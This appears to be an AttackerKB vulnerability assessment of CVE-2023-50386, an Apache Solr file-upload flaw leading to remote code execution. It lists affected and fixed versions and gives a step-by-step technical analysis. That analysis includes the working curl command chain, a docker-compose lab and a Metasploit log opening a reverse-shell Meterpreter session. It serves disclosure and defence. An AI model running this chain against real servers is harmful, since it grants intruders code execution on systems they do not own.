Moderate
CVE-2023-50386
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-50386
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Improper Control of Dynamically-Managed Code Resources, Unrestricted Upload of File with Dangerous Type, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1.
In the affected versions, Solr ConfigSets accepted Java jar and class files to be uploaded through the ConfigSets API.
When backing up Solr Collections, these configSet files would be saved to disk when using the LocalFileSystemRepository (the default for backups).
If the backup was saved to a directory that Solr uses in its ClassPath/ClassLoaders, then the jar and class files would be available to use with any ConfigSet, trusted or untrusted.
When Solr is run in a secure way (Authorization enabled), as is strongly suggested, this vulnerability is limited to extending the Backup permissions with the ability to add libraries.
Users are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue.
In these versions, the following protections have been added:
- Users are no longer able to upload files to a configSet that could be executed via a Java ClassLoader.
- The Backup API restricts saving backups to directories that are used in the ClassLoader.
Add Assessment
Ratings
-
Attacker ValueMedium
-
ExploitabilityHigh
Technical Analysis
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.
This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.
The three API functions that this exploit uses to achieve code execution are as follows:
- /admin/configs?action=UPLOAD
- /admin/collections?action=CREATE
- /admin/collections?action=BACKUP
The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ;
in order for it to be executed.
A number of extra steps are required in order to get that .class file to execute. Upload a config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations
which is the path to be exported and name
which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
This will export collection1
to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/
Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1
and name set to lib
:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1
You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.
Now the attacker uploads a second configuration. This time without a malicious .class
but with:
<valueSourceParser name= "myfunc" class= "zk_backup_0.configs.conf1.Exp" />
Set inside solrconfig.xml
. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static
method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.
And Voilà! If everything has gone to plan the code in the static
method of the malicious class should execute in the context of the user running Apache Solr.
Attacker Value and Exploitability Explained
Attacker value 3/5
Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.
Exploitability 4/5
If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.
Try it yourself
If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:
version: '3' services: solr: image: solr:9.0.0 ports: - "8983:8983" - "5005:5005" command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"
Load the metasploit module for this exploit, set the rhost
and lhost
values, run it and you should get a session in the context of the user running Apache Solr:
msf6 > use linux/http/apache_solr_backup_restore [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/apache_solr_backup_restore) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Running check method [*] 127.0.0.1:8983: Authentication not required [*] Found Apache Solr 9.0.0 [*] OS version is Linux amd64 6.6.16-linuxkit [+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0 [+] Uploaded configuration successfully [+] Backed up collection successfully [+] Backed up collection successfully [+] Uploaded configuration successfully [*] Sending stage (3045380 bytes) to 172.16.199.1 [+] Successfully dropped the payload [*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700 [*] Cleaning up... meterpreter > getuid Server username: solr meterpreter > sysinfo Computer : 192.168.128.2 OS : Ubuntu 20.04 (Linux 6.6.16-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportTechnical Analysis
Rapid7 pen testers have noted they have encountered vulnerable versions of this software on engagements.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- apache
Products
- solr
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: